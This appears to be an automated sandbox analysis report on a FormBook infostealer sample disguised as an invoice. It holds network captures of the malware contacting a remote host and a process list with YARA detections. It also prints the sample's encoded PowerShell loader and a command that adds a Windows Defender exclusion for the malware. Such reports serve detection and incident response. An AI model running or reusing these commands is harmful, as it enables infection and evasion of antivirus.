30 63 33 78 74 6d 6c 35 4b 46 4a 71 4c 41 6d 69 6a 6e 68 75 36 6b [TRUNCATED] Data Ascii: 1Joh=nlfTnoLPt9qFrGOYKPup84wyEWZ4e/oIaQHkGFw09ppFOH9GI4r8DZjBkpSBUMP9ZQvUBCjqjwZ5QQbk/LnYVzK+0XBnGwpzNuh+wX+Fjzpwsyp9lIKoi26YpIlCtstf1f6y9sgEJ9PuOfvzoNAiYNYlNaJqilNTrVkz08pjSru5StVh6aqgu2hZ0akpBdkEV4hPkFCQ9QItljVrUuU/mm8SnqHJqAtofTV0GOamB3dVA2IHdDqpycBcnqloF2Szgs/Vj+naKaLlUymByI4Io/J/YMl4X3NQnM1/yn+Bk1hm7y9TVM0UG/Q0c3xtml5KFJqLAmijnhu6k4vpUS0gu5TiNyrDr8eLIRmeLcz79ZvluNRylwD8+zo3tBtjEiLISa8e+4382aCpY+1kycEM8nphg6muPZRNMGeX3jIpl1bDbPyfdeljkFs/w0hmBeWCzAIRWxeBwgLPuTCFOcHb6ZPcfizdv4W2K/Yg43eUTVReUADAVO2itpdPX/vwR82/IrOA/5XcVhqCFq9ID6vDmnETBp+2fybT6MFI7kffkPrTHnNwI2SWDt8f37rdvG5bJYi7KTqbvEag0++0WkvWEk+NCy84vQmJq6eH91QxfkT07Q829datZynYiGaVrxGl26NEgaLh8wxGQnJlciGL+jqAz3Tao6QyQHiUnNvOyjRtkBW/SiB9s27kqNNDxy+6Z0YzKVZDrycJGsRXs4p4kToAjcO1Q4ASj8EQwdXVgAWR7qFhAbKHUnz5Z4rfVgiqq8WuSMJ+GzZ3kz/nkQfKGtY+0neALfyAj0B9ekWDOT97Tcbs8YwPqvrOezSzcv399Xh+LfUjpMBqkUNk329KvwnyQWVHYcq+bzcsOCsPv/z2QUpgWmU6MkFghGSUcJc7EgbPo/ItD+m0XS3wiP9k3IwEidSZW2f6z2nHXtdcOLA7X4A5y3roomeXCkcPh4MqXYr6dwqalkxVIHWUdb/JPhJ4x2XOJkXtu1EjXsFwwpg1ULv [TRUNCATED]
May 16, 2024 17:21:49.398210049 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 16 May 2024 15:21:49 GMT content-type: text/html; charset=utf-8 content-length: 1122 x-request-id: 8b99cfdc-99e1-4d80-b1cc-40f27f81866d cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CErFf42/7fpWRcL8kVjmtjJDSVTVgta8/tk0oCRadOhc+nDx9AsnHQqDD83z1E/puZhAPPM2p7Ja006YzUCHcA== set-cookie: parking_session=8b99cfdc-99e1-4d80-b1cc-40f27f81866d; expires=Thu, 16 May 2024 15:36:49 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 45 72 46 66 34 32 2f 37 66 70 57 52 63 4c 38 6b 56 6a 6d 74 6a 4a 44 53 56 54 56 67 74 61 38 2f 74 6b 30 6f 43 52 61 64 4f 68 63 2b 6e 44 78 39 41 73 6e 48 51 71 44 44 38 33 7a 31 45 2f 70 75 5a 68 41 50 50 4d 32 70 37 4a 61 30 30 36 59 7a 55 43 48 63 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_CErFf42/7fpWRcL8kVjmtjJDSVTVgta8/tk0oCRadOhc+nDx9AsnHQqDD83z1E/puZhAPPM2p7Ja006YzUCHcA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
May 16, 2024 17:21:49.402992010 CEST	224	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGI5OWNmZGMtOTllMS00ZDgwLWIxY2MtNDBmMjdmODE4NjZkIiwicGFnZV9
May 16, 2024 17:21:49.403009892 CEST	351	IN	Data Raw: 30 61 57 31 6c 49 6a 6f 78 4e 7a 45 31 4f 44 63 79 4f 54 41 35 4c 43 4a 77 59 57 64 6c 58 33 56 79 62 43 49 36 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 65 6e 64 6c 63 6e 5a 6c 63 6e 52 71 5a 58 4d 75 59 6d 55 76 62 57 4e 36 4e 69 38 69 4c Data Ascii: 0aW1lIjoxNzE1ODcyOTA5LCJwYWdlX3VybCI6Imh0dHA6Ly93d3cuendlcnZlcnRqZXMuYmUvbWN6Ni8iLCJwYWdlX21ldGhvZCI6IlBPU1QiLCJwYWdlX3JlcXVlc3QiOnt9LCJwYWdlX2hlYWRlcnMiOnsicmVmZXJlciI6WyJodHRwOi8vd3d3Lnp3ZXJ2ZXJ0amVzLmJlL21jejYvIl19LCJob3N0Ijoid3d3Lnp3ZXJ2ZX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49750	199.59.243.225	80	1016	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 17:21:51.276734114 CEST	474	OUT	GET /mcz6/?1Joh=qn3zkYHztMKe8mzhAMvQ2dUsB2FJeuQFLz3cQj0k4MJfJlhRJYX+G77tvqK2UZX2Wgv5bTm3q1t3YjrK87HOZU6owkhcBiV/M9JN6GagiG0Bu0xexw==&-xl=hBllB6kp4D1dBFK HTTP/1.1 Host: www.zwervertjes.be Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
May 16, 2024 17:21:52.385963917 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 16 May 2024 15:21:51 GMT content-type: text/html; charset=utf-8 content-length: 1466 x-request-id: 34afca40-cbda-4b10-8ede-7decc88c0ae7 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XqV10ngUDRmZwwc3zAw7Z375kFcYAARhN9c/OVoenMGO1925Rm4FyvQ++dEadD7G2lhBkKn3H4PJkCFPd8JN9A== set-cookie: parking_session=34afca40-cbda-4b10-8ede-7decc88c0ae7; expires=Thu, 16 May 2024 15:36:52 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 58 71 56 31 30 6e 67 55 44 52 6d 5a 77 77 63 33 7a 41 77 37 5a 33 37 35 6b 46 63 59 41 41 52 68 4e 39 63 2f 4f 56 6f 65 6e 4d 47 4f 31 39 32 35 52 6d 34 46 79 76 51 2b 2b 64 45 61 64 44 37 47 32 6c 68 42 6b 4b 6e 33 48 34 50 4a 6b 43 46 50 64 38 4a 4e 39 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_XqV10ngUDRmZwwc3zAw7Z375kFcYAARhN9c/OVoenMGO1925Rm4FyvQ++dEadD7G2lhBkKn3H4PJkCFPd8JN9A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
May 16, 2024 17:21:52.390695095 CEST	919	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzRhZmNhNDAtY2JkYS00YjEwLThlZGUtN2RlY2M4OGMwYWU3IiwicGFnZV90aW1lIjoxNzE1ODcyOT

Target ID:	6
Start time:	11:18:03
Start date:	16/05/2024
Path:	C:\Users\user\Desktop\Factura (3).exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Factura (3).exe"
Imagebase:	0x7ff7340d0000
File size:	1'034'668 bytes
MD5 hash:	367F6A9B9B00F860281FE3865A0D33F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	7
Start time:	11:18:03
Start date:	16/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	11:18:04
Start date:	16/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA1ADAALAAgADAAeABCADAALAAgADAAeAA1AEIALAAgADAAeAAzAEQALAAgADAAeAA3ADEALAAgADAAeAA4ADAALAAgADAAeABBADcALAAgADAAeABEAEMALAAgADAAeABBADgALAAgADAAeAA1AEMALAAgADAAeAAyADYALAAgADAAeAA5AEEALAAgADAAeAA3AEIALAAgADAAeAA5ADIALAAgADAAeABEAEQALAAgADAAeABFADcALAAgADAAeAA3ADYALAAgADAAeABEADAALAAgADAAeABDAEYALAAgADAAeAA0ADIALAAgADAAeAA5ADAALAAgADAAeABCAEIALAAgADAAeAA2AEYALAAgADAAeAA1AEYALAAgADAAeABDADQALAAgADAAeABCADgALAAgADAAeAAxAEQALAAgADAAeABBADYALAAgADAAeABCAEUALAAgADAAeABFADQALAAgADAAeAA2AEMALAAgADAAeAAzADUAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABFADcALAAgADAAeAA5ADkALAAgADAAeAAyADEALAAgADAAeAAyADcALAAgADAAeAA1AEEALAAgADAAeAAyAEQALAAgADAAeAAzADEALAAgADAAeAA1ADMALAAgADAAeAAwAEUALAAgADAAeABCAEIALAAgADAAeABFADQALAAgADAAeABFAEUALAAgADAAeAAyAEIALAAgADAAeAA5ADQALAAgADAAeABFADMALAAgADAAeAAwAEMAKQAKAAoAaQBmACAAKAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAAfBEMEQgRMBCQEMAQ5BDsEMAQgAD0AIAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsELgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAFwQwBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQRBDAEOQRCBEsEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAB8EQwRCBEwEJAQwBDkEOwQwBCkAOwAKACAAIAAgACAAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQgAD0AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAC0AGgQ7BE4ERwQgACQAGgQ7BE4ERwQgAC0AGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAC0AFAQwBD0EPQRLBDUEIAAkABcEMARIBDgERARABD4EMgQwBD0EPQRLBDUEEQQwBDkEQgRLBAoACgAgACAAIAAgACQAIQQxBD4EQAQ6BDAEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAYgB5AHQAZQBbAF0AXQBAACgAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQpACkAOwAKACAAIAAgACAAJAAiBD4ERwQ6BDAEEgRFBD4ENAQwBCAAPQAgACQAIQQxBD4EQAQ6BDAELgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQAIgQ+BEcEOgQwBBIERQQ+BDQEMAQuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoAfQAKAA==
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	11:18:04
Start date:	16/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	11:18:17
Start date:	16/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Factura (3).exe" -Force
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	11:18:17
Start date:	16/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	11:18:17
Start date:	16/05/2024
Path:	C:\Windows\System32\calc.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\System32\calc.exe"
Imagebase:
File size:	27'648 bytes
MD5 hash:	5DA8C98136D98DFEC4716EDD79C7145F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Target ID:	14
Start time:	11:18:17
Start date:	16/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Imagebase:	0x960000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	17
Start time:	11:18:18
Start date:	16/05/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7492 -s 2236
Imagebase:	0x7ff63b820000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	20
Start time:	11:18:24
Start date:	16/05/2024
Path:	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe"
Imagebase:	0x970000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	23
Start time:	11:18:25
Start date:	16/05/2024
Path:	C:\Windows\SysWOW64\chkdsk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\chkdsk.exe"
Imagebase:	0x890000
File size:	23'040 bytes
MD5 hash:	B4016BEE9D8F3AD3D02DD21C3CAFB922
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	24
Start time:	11:18:39
Start date:	16/05/2024
Path:	C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pIMpitAZqKZfeRCOXcQATdJpZunqtwcykqYxFSHiFpLgkyjNuFL\KAnMKAQhHABqpRuDRpLtww.exe"
Imagebase:	0x970000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	25
Start time:	11:18:50
Start date:	16/05/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff73feb0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true